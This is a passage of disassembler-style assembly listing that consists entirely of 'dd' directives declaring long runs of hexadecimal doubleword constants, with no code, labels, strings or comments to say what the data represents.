180F002Ah, 8F4F41BEh, 0FA003898h, 6FF56379h dd 101B6Eh, 9DDCE008h, 8A7E0541h, 3F8B7801h, 0F8904AC5h dd 0B095B082h, 1C40F239h, 0C1001671h, 7997A5C0h, 0A06327h dd 18484EB4h, 60EF3955h, 0F325C4Ch, 404785E7h, 375D2C5Fh dd 572E004Dh, 4633B59h, 0DB006C06h, 68720184h, 0A8968Ch dd 9D7A5A31h, 0BA8B8354h, 2EDA9E02h, 0C88CE442h, 3E4338h dd 3904B599h, 40CDE8C8h, 0F43C2E00h, 840C1EC4h, 15DE6E0h dd 2F660F73h, 835296E2h, 9346B1D8h, 5EB4E83Ch, 6F09020Bh dd 0F7E58B31h, 0C2524440h, 1C1460F7h, 65430F00h, 68D5402Bh dd 602A0082h, 0A397B85Fh, 0FB00BD02h, 0ABE69196h, 25F3E5h dd 4542120Ch, 901F3F88h, 93BFCF00h, 0A2BD5F31h, 0B4410040h dd 3D199580h, 2028C110h, 0EF0ED4CDh, 0E97FF2B7h, 0AD0057EEh dd 2E4FC6CFh, 9832500h, 646B524h, 0AA5500D7h, 0DB6A148Bh dd 1F00B6B8h, 0A2734335h, 1C2D5A1Ah, 1F0B0585h, 0C39277h dd 4CDBAC54h, 0DA6237A2h, 409F7A30h, 49D245h, 0A34E8A7Dh dd 0B41D1B05h, 56C1430Eh, 0CC47E0EAh, 18AADB04h, 0A648947Fh dd 8A1D432Ah, 32C52266h, 0C805F84h, 0B982563h, 0D8456283h dd 349508A0h, 3998EBF7h, 0C9D72300h, 0FF5DCACEh, 0E5E20016h dd 0F696D62Ah, 71C2CA4h, 0CC098AE3h, 0E3807F41h, 4FB509C4h dd 25165A00h, 9BC99A8Fh, 5BF8A8AEh, 2CFD01BAh, 7C791B2h dd 0BFECE814h, 38548B03h, 0D2782B0Fh, 32144889h, 75940077h dd 88D41846h, 7C00106Eh, 2CC8E2C1h, 38C7DD9h, 0BA97D58Fh dd 0B5E8EBE1h, 0BD00231Bh, 123B026Ah, 5C35AF2Ch, 710100FCh dd 9C2F604Eh, 0F061B98Fh, 921F4B06h, 7809E414h, 8DF00BDAh dd 9CA09A59h, 9934E81Bh, 0CBB1A907h, 0D845C1D6h, 4D0B8202h dd 0CDA4E84Bh, 6392017Eh, 6039C453h, 9190D33Bh, 1B06A4CEh dd 614A97E5h, 0D21900EEh, 0A221DC34h, 5934CEC3h, 38F89192h dd 0E4629E03h, 27A0C9ECh, 10A358CEh, 0B003479Bh, 21E3C37Ah dd 0EF02A4AAh, 0CF198A8Dh, 3600C102h, 4F42E8h, 8F074A30h dd 0E52E895Eh, 9F5D4D39h, 35805628h, 318C6E0Fh, 0E19D1D07h dd 0CCA8060h, 0E4F9D3EFh, 33A3BB00h, 1AA54C5Eh, 184E00F8h dd 0BF214BD2h, 0DD000401h, 0AAFE5AAh, 1C609334h, 0C09CD788h dd 21A2DF7Bh, 0F900A049h, 0C8A1812Bh, 3E35AD11h, 0E48022FEh dd 0D327B2FDh, 180010B7h, 0F77413D0h, 7BE25FE0h, 8F287h dd 2841C2FFh, 394DC4CAh, 80337900h, 0FC9F99A5h, 2E2CB0F0h dd 1F9E0AB9h, 46B0E2Ah, 0FAC72F00h, 0DE5089F8h, 0EA0E648Ch dd 6E88BF37h, 0D1A3C066h, 857355h, 0D7D9A91Ch, 9CF71102h dd 82C1A4A8h, 3E75C800h, 3740F235h, 8C880115h, 50075F1Dh dd 242281h, 0E5277FBCh, 5EFA59h, 30472EA5h, 550593ABh dd 0AEF01092h, 89033478h, 9E8F4037h, 0CE85A8BFh, 0EE500064h dd 20B683CFh, 0D5189217h, 413919B4h, 0C1DE22h, 7AF260Ah dd 0D500E28Ah, 7E1E0B6Dh, 0A8E63D3Eh, 0F34974h, 297C8D45h dd 6D39463Ah, 5C524E00h, 0E61ACAFEh, 837712ECh, 1D340FD5h dd 0EEF133E0h, 8A1E372Dh, 807E9935h, 0FEA3E08Ch, 90B70C9h dd 0E521EB52h, 81DA780h, 767C302Eh, 0F6243B0Eh, 71AEA336h dd 0EB07A869h, 9E5F19B4h dd 5F971195h, 0E0307F04h, 935B107Bh, 19A104C6h, 0C0D5E359h dd 0AA9EAC5Fh, 8D3CBD09h, 0E612039Ah, 4AADC12Ch, 691B20h dd 54E9D4D6h, 174FC7E8h, 8E33D800h, 6CD32191h, 0E10E0A95h dd 9F7964h, 30DF72B4h, 41E447C6h, 55F53Ch, 8F3B03A0h, 0D80E9Ch dd 0DE6BEBAh, 35F40519h, 16ECF00h, 49767B58h, 0FD380372h dd 284565B0h, 0FE3092B8h, 8F6CB13Dh, 0E90EDDCBh, 1C5CDECAh dd 18828087h, 0E72E5A0Ah, 62CB2300h, 4214E9F1h, 7EEA0022h dd 13A15B8Bh, 50007CBCh, 893E3060h, 2519A7h, 0A9015FD7h dd 0C1492267h, 71EC4814h, 0BBF82E9Ch, 86C0291Eh, 99BAC863h dd 2C9F0015h, 0CB642531h, 3C124F8Dh, 5A1E4179h, 2A234C83h dd 8020072Eh, 0F13B53h, 0E70C33BAh, 30826915h, 1683AC8h dd 92E170AAh, 418F5189h, 0EBA05C83h, 9A225372h, 0D8BAE8EDh dd 88899B00h, 0ADBC3E51h, 0EBF8076Bh, 0D0FD776Ah, 18E547Eh dd 0FC38EC00h, 0A8C9E085h, 0A7E2B7h, 0A91420A0h, 0E17296FDh dd 0FBF66198h, 426A31Fh, 6254A1C0h, 6B01B3h, 5D44556Eh dd 38D3D2D0h, 49871A07h, 0B6106936h, 0B0887CFDh, 777B3h dd 0CDC1946Ch, 8738E62Ah, 0C984DC15h, 0A1CF008Ch, 6D72340Eh dd 0F98E0CBh, 0D4843E1Ah, 833B3A67h, 0F1007E51h, 19CB74C4h dd 0D1F1BDh, 4ECAE8DDh, 290E8E5Eh, 658D5216h, 9B963C01h dd 2DCCD024h, 6F0F3C34h, 0C80EB483h, 0F9E87F47h, 0FF3D6CAEh dd 704C8FE6h, 202E0960h, 0CC96F480h, 6E1800C2h, 0A3A1DDC0h dd 0DA03EF67h, 0BAE0EBAh, 800D887Ch, 0E692009Ah, 7534BDB0h dd 2B00C8D2h, 9C7A37DFh, 15E325h, 809758BBh, 50B79EB4h dd 0BEDCCC00h, 0A6A14CADh, 0A56E439h, 33D338D4h, 581D01F4h dd 8B7C5F9Ah, 0D5AE6F1h, 44ED56BEh, 0D966F0h, 0FF1B1583h dd 96399426h, 7F4B600h, 0EA3BB9E4h, 0AFC21F31h, 0FCE0F34h dd 1C100829h, 0D3005279h, 0CFAE2A55h, 0C00EDB50h, 4DAF7B98h dd 7800ADA6h, 12B45373h, 991F41h, 38F92517h, 71DA8647h dd 0F5820h, 4E1E9ACFh, 74309985h, 1B105E14h, 2D0A00A4h dd 0C35DBE13h, 1A0791Dh, 3064EFE9h, 346EDD41h, 5EE8AC30h dd 83478605h, 904053BCh, 604BC31Ch, 0EBD80073h, 0C08B2A80h dd 0D6036617h, 0CEB0E3B3h, 5D80031Eh, 7E4D200Bh, 21907D88h dd 0D318501h, 15189B60h, 755AC0h, 0DA6FB9CBh, 4541500Fh dd 0BC305300h, 64211D5Bh, 0A80300D4h, 911EC49Eh, 0D600B2CBh dd 0E04D083Eh, 0D0E140h, 87E87078h, 2C66890h, 0E47D0C00h dd 94744C18h, 7704009Ch, 0F55B6566h, 0AB02A279h, 1E86A459h dd 578E6067h, 161C07B3h, 4064530Ch, 0F6D8B4CAh, 9ED44A00h dd 27DD89D6h, 7D5B3C7Eh, 0AC7BD900h, 87156A94h, 16A27A30h dd 2C4732BDh, 0CD3305h, 0CB63A54Fh, 39008C13h, 0F6E1373Ah dd 0C01B76C3h, 0F035F97Eh, 0DB00C428h, 0BB1F13FBh, 5C9C40BCh dd 0F200C174h, 5B75018Fh, 94007A2Ch, 0A44A36B2h, 0FBD8CCFh dd 0B39E3DCEh, 87DD4280h, 0AD006F91h, 0E3957309h, 0D62417A4h dd 968A00A8h, 0DC576AB2h, 3C152B00h, 0FF59910Dh, 11656006h dd 3F2C8168h, 93DB0B00h, 2F8D3183h, 987DE490h, 74CB03F7h dd 720171C6h, 0C016CAB0h, 0B73F0718h, 218D40h, 0D371039Ah dd 5AA08396h, 41007877h, 0D77A84E9h, 0EE0148BCh, 317C004Eh dd 747E4F91h, 46734B9Eh, 0F1B02E00h, 0B8C47F04h, 1237EAAAh dd 70C0A75h, 20849E1Bh, 713D7603h, 7B00D07Bh, 0FE481C95h dd 1E3EF686h, 4C8E5013h, 25304E9Bh, 0B30F6604h, 1C80B6B2h dd 3E4E188h, 0F4D8FFCDh, 2EB267F3h, 0F1287560h, 90C330FFh dd 27D07B00h, 0E73D4560h, 3A05008Fh, 2DF87599h, 0EB001EA5h dd 0DFB5107Fh, 798C2CFh, 0A65A053Ch, 0BFC10036h, 553ACB87h dd 1CE67E41h, 0B990D00h, 0BE7CCACEh, 1BB200C4h, 5D21F831h dd 2F0080F2h, 689F1C25h, 6D0A3Ch, 0CCDDDF60h, 0C5C364CBh dd 19005C90h, 886963D5h, 0FB7AAEh, 0BBC98D1Ch, 0AA8A5CBFh dd 0FD0094F6h, 0B12BD08Fh, 0E0E08C4h, 0BDDC1995h, 0F1D9A520h dd 70000C49h, 0B21D30D8h, 1E4F90Eh, 65B41B97h, 0EC7BFCC0h dd 10182202h, 0E448D19Dh, 0FE2C6AFEh, 4E741D20h, 1F802AC8h dd 0CE77E9A7h, 60318F00h, 3B409950h, 3EFC017Eh, 8D0541D4h dd 54C130DFh, 0F696F300h, 0AB24E0BCh, 0A9B31CBFh, 0C9429FB1h dd 990073FDh, 13686D20h, 7CA10719h, 0E8176510h, 661758Fh dd 317993h, 58AC6E8Dh, 10592C65h, 36648C07h, 0CB06215h dd 92414A57h, 77F5017Ch, 7A40FE75h, 3B3824D5h, 4F829019h dd 0D8EC17D9h, 0C90501DEh, 16184A5Fh, 0E71183DAh, 71D207Ah dd 4C1FEA80h, 49D4E6FAh, 7E21562Eh, 0D6816C03h, 2B82E0D2h dd 0E0B70ACFh, 383073B9h, 803065B7h, 2D7A78E5h, 39354700h dd 0A6227ED0h, 84580072h, 7423D675h, 1C0792B7h, 8A261ED8h dd 0FCA83FF0h, 0EE371CF2h, 0F1ECC03Bh, 179A858Fh, 39D69D00h dd 5A788A4h, 444E3883h, 0B1E7F800h, 2D25B932h, 684D780Fh dd 0EDEB4027h, 89610Ch, 0FFCF565h, 5876EC66h, 1DCF4900h dd 248F5709h, 185262FFh, 0C080CB35h, 6BC1FC63h, 29E61D03h dd 1065C00Ah, 60541B28h, 0FD6A9EE9h, 2EC08340h, 0DA008FDDh dd 89EB9473h, 18207692h, 402A69FEh, 0BB30B477h, 7EFF187Fh dd 0D0965231h, 879A7900h, 60CD1F0Ch, 0A2589718h, 0C07D6F08h dd 87929420h, 790F66EFh, 808FBE1Ch, 53FBCB15h, 0A169C0ECh dd 0D265C184h, 9D99B50h, 0F3106160h, 28337DDBh, 0AFD1B5h dd 68AA76AEh, 17BD4EA0h, 15277800h, 31CBDFF3h, 5D700E94h dd 43E0A8B5h, 238A1A9Eh, 0D778C03h, 8018BEB9h, 8EE449h dd 0E306FAC5h, 8F8AC910h, 0E991BA03h, 88211913h, 464722Ah dd 586080C2h, 4547809Dh, 0A900FFF6h, 61F87BCAh, 97992Fh dd 0D52C09DEh, 0F3A27C3Ch, 0BB26C100h, 0BC5AE316h, 0B07E000Ch dd 71AE2C12h, 10CA0B56h, 1AFC0455h, 108EA3A2h, 0B8D3F6C0h dd 82EFFC00h, 90058A08h, 51A80E19h, 65206B01h, 0E4188026h dd 57863F00h, 6D5A649Fh, 2B21139Ah, 0FA3F0008h, 81B83ACAh dd 0F3C6E81Eh, 94DC80C0h, 0F547134h, 89D2982Eh, 6C535982h dd 0DC82F1E0h, 9FC66018h, 955010h, 9D5FCF2Dh, 9256C0EFh dd 0FED20200h, 0B81FF47Fh, 15B0035h, 53D0AD40h, 0EB7D7859h dd 1C8D9B01h, 0EDD580BBh, 3F764870h, 0F71DCECFh, 432603D4h dd 23F07A59h, 4C003A71h, 205FD708h, 0C7FD78h, 0B6F03001h dd 0F15469CFh, 0B047D000h, 872C9076h, 0ADC300AFh, 27A1443Ch dd 6D000883h, 145D39EBh, 0B066F080h, 81FD001Ah, 7D4231DFh dd 0D3B843B2h, 28B3BAA0h, 0FFDB250Eh, 0F69A808Dh, 366B96h dd 33FDA0F5h, 0BE205CD9h, 41522303h, 90D4D09Dh, 2EB2A1EEh dd 54C788h, 0E9A6FBC1h, 1B002E8Fh, 4972D8ADh, 48EDFAh dd 0A1DA566Ah, 0BCAAE9D2h, 8BA3D600h, 1888D03Dh, 0FD230001h dd 0E4A4C606h, 860FE7D8h, 0C5F419h, 0C29CE120h, 48B7BA6h dd 0BFFD36EAh, 0F8109074h, 5A00893Eh, 0AC8E986Bh, 305343E9h dd 3FD8A3F1h, 2851E659h, 2984E8ECh, 382EB800h, 1D0E4881h dd 309F003Ah, 8907196Fh, 6E00738Dh, 378357D8h, 246BB02Fh dd 804454F6h, 0CE2B904Fh, 1500354Ch, 0D8B94657h, 0F845A4h dd 61AEEB14h, 63A2724Eh, 77B68F2Eh, 2A9E4400h, 39F27F69h dd 20E5805h, 5520FBD3h, 470750B0h, 0C48B400h, 5457E2CDh dd 7C4B008Ah dd 0EE26FA21h, 0CC00345Fh, 4463A86h, 0B022A6h, 0E0E3F19Bh dd 4AA3C34Eh, 8E124Ch, 13752E68h, 6DFF84h, 7E242BEAh, 6E6105Ah dd 0BB2882Eh, 80FB8609h, 4DAFB6D4h, 6892CBh, 25A9B48Dh dd 0B0F05235h, 0F73A9A00h, 12ECAFC3h, 19313957h, 56838B00h dd 58E5860Ah, 0FB4038D2h, 0D4519817h, 6B913F13h, 15620DACh dd 0ED07D0DEh, 60153156h, 221C2AE9h, 7B80F001h, 0FB3426F5h dd 1F9488D0h, 4362BD38h, 0BAE2548Ch, 522C4E98h, 6ECBED00h dd 3F1CC950h, 0E52F00A4h, 3B809744h, 6B017BB1h, 0BF2D6628h dd 0E2F4FE76h, 979F0024h, 3BB4EFB6h, 18905E93h, 56708D10h dd 7689BE09h, 110F10Ah, 4A8838C5h, 3B13C971h, 5C30D5A1h dd 0AA1D0050h, 2DDA0548h, 460EAEDDh, 23DF544Dh, 0F8C65608h dd 177E1D1h, 9333502Eh, 70CA8C3Eh, 0B748796Fh, 2390750Ch dd 4171E3Bh, 0A2CBF50h, 712D68D0h, 7F260049h, 991BA06Ch dd 5E001DCBh, 2EC47D66h, 0ECD12941h, 38F607FEh, 41F74685h dd 7059F983h, 20006D7Eh, 0D9035DFFh, 1F0AC1Fh, 0BA130B98h dd 0C45622F2h, 76001928h, 90034F73h, 1889A821h, 10416607h dd 0CB00B172h, 3582C4ACh, 0C285CB7h, 0F3D7E21Ah, 4B000E68h dd 0B29105C8h, 0A17539h, 9698C721h, 6E039980h, 0B0666C00h dd 72D5E4BFh, 0C65B00DAh, 0FE5539F7h, 451E622Bh, 0C2838734h dd 0D8ECA6EFh, 0B0A33h, 8C9C1BE5h, 44E9CF42h, 4CDF2E48h dd 71C07B5Bh, 0D89BF0C3h, 0E211C980h, 1E6FA880h, 12071829h dd 1B1D96EDh, 0C40E8FCh, 9EF4854h, 0CAFE4311h, 20FFE22Ch dd 90EB4C87h, 1E5F4600h, 5C92FEh, 0F0D4C69Dh, 0C8BC61A1h dd 54868C07h, 3032E4A3h, 752FC09Bh, 7E2C0055h, 5D234362h dd 58001B47h, 882BD8D2h, 0E6EB105h, 0B10FBFDh, 45EA8A00h dd 0BB01BA1Ch, 0B59DBDA8h, 84FC828Bh, 80F2A1h, 0C3C83288h dd 0C4EAF18Ch, 67A0B560h, 0D4AC2Eh, 0DD81D0F2h, 8C128095h dd 54A9EB26h, 85C88B81h, 108FA6E8h, 0BDBF3B01h, 3000D022h dd 0C3ED0E39h, 0BC5008h, 76676163h, 0E8E2A14Dh, 0F683FA00h dd 8D192399h, 2D6B3FC0h, 6C94168Bh, 2F01D883h, 26606800h dd 6256BD2Ch, 9D280F30h, 702E2DAh, 9CA1E4B5h, 700AA6F5h dd 0FF24AA3Ch, 508068A1h, 2DD3B2A8h, 3CF7EA61h, 7245955h dd 517401F4h, 328754ECh, 6BE700B8h, 0C88384A4h, 9F4000D8h dd 0FA07ABA5h, 0BF0322DEh, 0E8741559h, 564800F9h, 0CD0140Fh dd 2A0EFF5Fh, 0E59CA099h, 7852537h, 0D2BBB300h, 702407F8h dd 14E700F6h, 9A65F0B6h, 6E00FE64h, 0DCEBB5DBh, 0C68F40h dd 0C95E92C5h, 0C37F327h, 5BD62204h, 808015ADh, 3CC13CBh dd 0E6E9093Fh, 4800FE45h, 36D590D9h, 980DAB96h, 292000BBh dd 0F0DDC425h, 5B0032F3h, 1B56FEEBh, 9247C8h, 0C38F8B4Bh dd 0A6F92BDDh, 1E1F870Bh, 0D81C8044h, 1E32F81h, 776C8843h dd 60716A07h, 6F06372Ch, 391B7B79h, 0F61A0E31h, 5D40FF4Fh dd 55325BE0h, 993AC875h, 8042B8D5h, 0F7031C8Fh, 3C917BE9h dd 7780E4B1h, 0D5CDFD20h, 4100FA5Bh, 0A8A3D894h, 31398Eh dd 997C7BF5h, 18DC0D1Eh, 82F75638h, 6138B11Fh, 5A4057DAh dd 78009E24h, 1BD3287Ch, 0F10A4Ah, 0C8683AAEh, 3B7D5EE7h dd 60AC4E07h, 7273564Ch, 83CD9003h, 94650044h, 0A5B5E1F0h dd 60003022h, 0C87CD025h, 6F061854h, 1580B005h, 1E519538h dd 0B8588C9Ah, 1A0D0068h, 0AAA8EA01h, 62A00382h, 25487113h dd 0CC012BBh, 0F90B3C9Ah, 873BAF15h, 0A730CC20h, 0F2E272h dd 9CF66C01h, 822DA311h, 9A680D26h, 452E3F00h, 69D9B64h dd 211CFEA7h, 0E413780Eh, 18406553h, 89AC4337h, 0B9FC002Bh dd 0D4119739h, 21C161C8h, 8B2164E5h, 0D2338311h, 9862D461h dd 0E5188220h, 93E00054h, 292ED5C1h, 61004CD8h, 86BB97B2h dd 0EE51850h, 0CAC54AA7h, 0EE6B8140h, 612A3101h, 8A168407h dd 0A040DC7Bh, 0A5EA2279h, 0B111C0F9h, 480F824Dh, 68EB39DCh dd 0E9005821h, 9D30C1C6h, 0A3BE8FEh, 0CAD40F97h, 20F29068h dd 0D9A3001Bh, 0C4904E49h, 0C100AABDh, 0AC8D4018h, 0E20601Dh dd 35F4A30Fh, 0D1536F00h, 8A00CD2Fh, 3F4CA712h, 0F89FC0E2h dd 0F7180003h, 2E47D28Ch, 641EC8DBh, 3EC07B31h, 0F5AC82DFh dd 0A9F3000Bh, 221B542Ch, 0EA3BB4A0h, 476880B2h, 6BD1D917h dd 503B00EBh, 74137D3Dh, 5300160Ah, 0A72655A4h, 0DA4E6Ah dd 0B69369AAh, 1B126ED6h, 0AEE2E800h, 54163980h, 7CD700C0h dd 0DC9DB02Ch, 6500ADB4h, 9FBB4186h, 1ACF4B8h, 0BFA9F02Ah dd 30B32B7Ah, 0C50AB0BCh, 900FA387h, 0C607D481h, 49F82BF0h dd 0D9FA004Bh, 0A1DF2D86h, 0C3094480h, 650C8592h, 0DDFC6164h dd 21FC316Bh, 945DCC6h, 0BA407700h, 15D87094h, 8B8D3EE9h dd 5CA8297h, 858239Ch, 32427414h, 0CD1622E3h, 90F6A82Fh dd 0DFB384D8h, 0CF442A48h, 13BB6C21h, 5E488CE2h, 90282E47h dd 0E1088470h, 44CCD244h, 244AE2FBh, 0DC8D083Ch, 2C29E698h dd 2E0DE6A2h, 0C6764h, 0B95784C7h, 8B00D09Dh, 937BEB69h dd 382B0F5Ah, 0BA92911Dh, 0EF5890AFh, 0D9075D32h, 9A397F60h dd 0EA680411h, 7759030h, 0C98F9D62h, 0F1F740DEh, 0E10005C6h dd 88E62D1Ah, 3DA896Eh, 6C66BF55h, 2BB8CDD9h, 0D500F704h dd 0DE8E6582h, 0F13D42h, 0C8ED2DB5h, 28A4AAE2h, 0FB99FE0Eh dd 0E451E0CDh, 7617215h, 0D39B4EF0h, 30A417C5h, 0BB1B9A9h dd 8A19100h, 0B08F18A3h, 660C0E8Dh, 8080DF5Dh, 0AAE961E4h dd 5E530800h, 0A186C9CAh, 564E0788h, 0B0D9BC59h, 0CE4650C4h dd 0F15FF800h, 0A7989D5h, 59CF03DDh, 0E2583599h, 0CB2497DCh dd 63403418h, 1D8FB03Fh, 3B585D03h, 0F03D11h, 65EBF8A6h dd 71C8F1BBh, 0D1584492h, 925D0248h, 589AB3E6h, 0D7A31700h dd 1904404Bh, 28499326h, 8D0E4F00h, 9B5C84DDh, 3FB700F5h dd 0D7AF44D2h, 1D0093E5h, 0E048D9F7h, 0C6CB70h, 436C8985h dd 420D3E04h, 92C2800h, 3310F52Fh, 9EEC000Fh, 9C22D76Dh dd 5800F8BAh, 474DD373h, 41A41h, 803146C2h, 7B533538h dd 75C45700h, 0B5BED571h, 0EE1375F8h, 81D1004Fh, 0A5DDB103h dd 0DC00061Bh, 4115FD6Fh, 0F4F800Bh, 273A2A55h, 0A463BB60h dd 7F0053FBh, 79345A3Ch, 7A3B11h, 0EC1EA0E6h, 0B5569DFEh dd 1780A918h, 913CA8h, 0A940B5Ch, 76B84551h, 4A14D600h dd 4BB0285Eh, 97F8FB22h, 0D290029Ah, 9E84A969h, 0BD034240h dd 0FF6CC700h, 4AFDB07Dh, 24430016h, 0C3352712h, 0C80FC0EAh dd 0E090B6CDh, 8555883Dh, 2DF24Eh, 0ECE8E323h, 80FA6FC8h dd 3990C4B8h, 5C4E4300h, 7B6EE134h, 122CB86Dh, 0C0043D19h dd 3892BACh, 8002DECh, 0BD67D94Ch, 7E490Dh, 0F797B628h dd 913F43D4h, 0EC336500h, 0BDF963BEh, 11BA244Dh, 0AAC100A5h dd 0AB2C4123h, 0B627D500h, 55627F86h, 3C199898h, 0F380830Dh dd 0EC10466Bh, 0B83DD25Eh, 0FE8884E9h, 74804BA8h, 7D7C7FAh dd 9BA49F75h, 0ECFDF5A3h, 0C28F00DBh, 0C74513C4h, 0F18B0222h dd 0B0F7BF05h, 5278A060h, 294E7C00h, 4B72EDD1h, 18818A2Ah dd 87B482D6h, 0BEA5E060h, 88491573h, 13795471h, 0D8DD8B93h dd 800737D4h, 0DC1B8450h, 0AEC9C3F0h, 94380361h, 2C105BB0h dd 0E1ACCD98h, 0F1B2BB00h, 0D708C177h, 26321211h, 5AD440A4h dd 92D852D9h, 2C619C24h, 9B12C500h, 0BEDE19h, 428B9E96h dd 8FB1A1C8h dd 0DCEF6D00h, 0BFB70399h, 7B3D3D51h, 4C0020C8h, 2E822669h dd 400D4CBh, 654A294Fh, 3D7678ADh, 0D187DE57h, 5039FB3Ah dd 91EA8406h, 0C453F607h, 5A40A0B4h, 0B0681DEDh, 9950091Ch dd 4E4B002h, 5DFF00Eh, 0F5924041h, 405811h, 1A7485EEh dd 63BF491Dh, 7E330AC0h, 73D06CFCh, 0D3BA1E29h, 0A39CC4E3h dd 0E9A4C0E8h, 0D2980170h, 80475E27h, 0EA53726Ch, 0CEEA43h dd 1DFED27h, 2F5625ADh, 7C734618h, 3E19AE29h, 0B8F2652h dd 0E020FD08h, 0C563701Ah, 0CFB4C600h, 98103EEEh, 9D7F1896h dd 0DCD339E6h, 8300F6ECh, 798EB3ACh, 75A08D91h, 7F510033h dd 7D675C65h, 7C0048CAh, 64151B3Fh, 219175Bh, 0A9F44C8h dd 0D4782A92h, 4B325422h, 3C482235h, 2000C70h, 27BB7B2Eh dd 1ECF40h, 0FA90036Bh, 0E7CBBA08h, 8E521C00h, 1B6A2D37h dd 397560E2h, 3C650AA4h, 5B5FAC00h, 60B35859h, 0B27300D9h dd 0DD7FCE75h, 70008FF1h, 5547087Dh, 4984B9Ch, 8433C1F8h dd 37BCC37Fh, 57914F0h, 80627E00h, 8C75FCBFh, 7374100Eh dd 9A5D0330h, 1EA47D2Dh, 53E86411h, 0AC840CADh, 25246160h dd 803B0A4Ah, 7C8B7A6Ch, 3515F4h, 398D9824h, 497C51Dh dd 0AAF39401h, 0AF22631Ch, 5B5B2ECh, 533A5B45h, 1966C0D7h dd 6F008FF0h, 0B8ACD416h, 9E13CDh, 0E5A52A60h, 5D6343BDh dd 410F2403h, 0C047CA3Dh, 3EF94B4Ah, 0AF00C3E2h, 9EB726E9h dd 3900727Ch, 5C1729A5h, 36342Fh, 81D59850h, 0F0412C65h dd 9C95EC00h, 5FA032C9h, 7E0E161Dh, 77642021h, 0D400AFC2h dd 86879B97h, 2DF9C80h, 0A6CDBD79h, 0C0408353h, 7C7FBC81h dd 59553000h, 2E8ABAF7h, 0F264032Bh, 0F0A98466h, 80CBD0F7h dd 2C06E0CAh, 2FA2CD1Ch, 454B0030h, 494B6CCh, 7000E8F8h dd 5C431FD2h, 2F6173h, 0D84E804Bh, 18D7C32Ch, 0E99A1209h dd 8428000Dh, 98ECCB6Ah, 855A1724h, 3740160h, 0E00156B6h dd 37008F7Ch, 5D1F38DBh, 0C00DEC0Bh, 5E08986Ah, 0FF0FEB5Bh dd 0E0AED1D5h, 5AE8F4C2h, 131C98AAh, 1883849Eh, 67B6115Fh dd 0DD9D2E00h, 0EDC625FCh, 0CFD5C38h, 20699F0Ah, 0DF98009Ch dd 0C0F2C7E5h, 0CB88AD18h, 5F8AE0h, 2BD2302Dh, 0FCCED8ACh dd 37589F00h, 5A214639h, 5F90032h, 0E7A566Ch, 9300179Dh dd 0CA7CAC16h, 2C26B290h, 1F68F61Bh, 27914FE9h, 0CCF57681h dd 0D6C03003h, 33662300h, 0E587C12Fh, 6F6C003Eh, 0F0FCC326h dd 60136A3Fh, 841CB330h, 0D3F45E01h, 1EF493F9h, 77C300CDh dd 5A362A49h, 7B072F88h, 0A854E689h, 51748D70h, 0EAFC3A4Ah dd 93B896h, 20ECDC13h, 0F73D39C9h, 8A037557h, 426E81C4h dd 0FAD6F085h, 0FFC4FF6Fh, 751D004Dh, 0EA342C54h, 4C0358FBh dd 6A477FA7h, 0E40ACDE6h, 6D00F8D1h, 361C1B48h, 6334005Bh dd 0B279626Fh, 1500113Bh, 0D6DFA701h, 434C7Ch, 5D8FC44Ah dd 892D98B6h, 64ECA800h, 4C2359BEh, 92E500B8h, 98C45F68h dd 0B907F320h, 48F995F7h, 0BF824D20h, 0F2F89008h, 1D92021Eh dd 49644E1Ch, 5C0124D2h, 3227378Bh, 0DC706218h, 0AC0F2415h dd 843B8F70h, 0F26C35E0h, 0F306AD64h, 7FD87620h, 1A9F6011h dd 80CA1A03h, 6E111E00h, 10E0664Ch, 9DA10BE5h, 4482FE40h dd 8E41255h, 21588709h, 4F92000Eh, 7DD00737h, 83271382h dd 0CD50476Bh, 0B373003Ah, 0CE127D93h, 2C802275h, 312B4F34h dd 9C59F62Dh, 41A80848h, 8B04601Ch, 306BC001h, 778E157Bh dd 54E370h, 0B59B352h, 253D68Ah, 15C70E00h, 4FC64D61h dd 805860A6h, 0C1DFA9B0h, 0BBD8CF00h, 8547BF92h, 3A9C00A2h dd 0EA7B4C59h, 0FAE21026h, 800AAF2h, 93413B2Fh, 90A8803h dd 0D6A6C569h, 28E9E381h, 7008972Dh, 510D9C02h, 0BC3C60A1h dd 0B8D42C2Ah, 81C31C44h, 55443770h, 820C6073h, 74AF8E00h dd 425718Ch, 0A7C83B58h, 20797618h, 9CB6A320h, 8D251702h dd 0D0D06298h, 7B0B4244h, 0F0167C7Ch, 7503DBE0h, 0E55BB7DFh dd 6E2EBC80h, 4C8D0054h, 0C3880DC1h, 9400FFF3h, 7D39E6D3h dd 0BBB90Ah, 2EF022DBh, 0CA706D4Ah, 0FAB53800h, 0F74B263h dd 0D5170075h, 447792FEh, 3E006220h, 0AC5F9BCh, 7ADD8D08h dd 572B0078h, 1042123Ah, 0DCE8488Bh, 0E8C3CB00h, 265D9BEDh dd 0BFF0E0h, 5FB3C85h, 73AC518Bh, 9E7E7200h, 70CEB615h dd 5A6C0674h, 11E48058h, 35F7FD00h, 0A38996A0h, 0BCD300DCh dd 5ED82088h, 0B07B7643h, 9F827A1Ch, 7DFCE1C7h, 0F21A6503h dd 0E5D4C8CFh, 2E5D88A9h, 85DAC638h, 58916042h, 9000C452h dd 0C702CDCh, 0CEF6027Dh, 1A3D8179h, 3B8FACC0h, 5360661Eh dd 0D3063540h, 30BDFF5h, 47B5F0E8h, 0E79F91E7h, 8B7F1044h dd 9E0018CBh, 0FF9516F2h, 0ECBBB7AAh, 345FC77h, 0AF5EFC4Bh dd 0CAF021A6h, 0C0006258h, 9D90B33Fh, 851DE7h, 33178411h dd 0BD9E2CADh, 16ED3800h, 124E56A4h, 4B810F22h, 9460E25Ah dd 4293A288h, 6FF35B00h, 83D59606h, 1E467A14h, 1E9466F0h dd 31B6070Bh, 0E90F9033h, 5C008E88h, 5F4202ADh, 0E43639h dd 641A07EEh, 2295D762h, 0C405158h, 19F048EAh, 0FA6F0031h dd 0F60F8EB8h, 5E0005CAh, 277A25A1h, 0F73828h, 95533550h dd 6A442CBCh, 687C3B03h, 0A8410605h, 7BFE6925h, 0D2B40E43h dd 32A01F1Ch, 0CA9DA419h, 4100F579h, 968AB5FFh, 0A6508Eh dd 7199988h, 0C6FB5C4Fh, 4B76E160h, 3CD7B46Fh, 0EB8BC47Dh dd 64C01169h, 0F020BEC6h, 72B00AFh, 8E2776F5h, 75006E3Ah dd 0DC86D873h, 1D3B67h, 46BF6639h, 5405593Fh, 0ECD961E3h dd 0A43899D5h, 9D3B800Fh, 54C400Bh, 37F4004Dh, 0C79F5E0Dh dd 0D10ECD20h, 806A6138h, 69DF73B4h, 0E9E03AFh, 0B36F2DE7h dd 6B782580h, 7E8E4600h, 689354C0h, 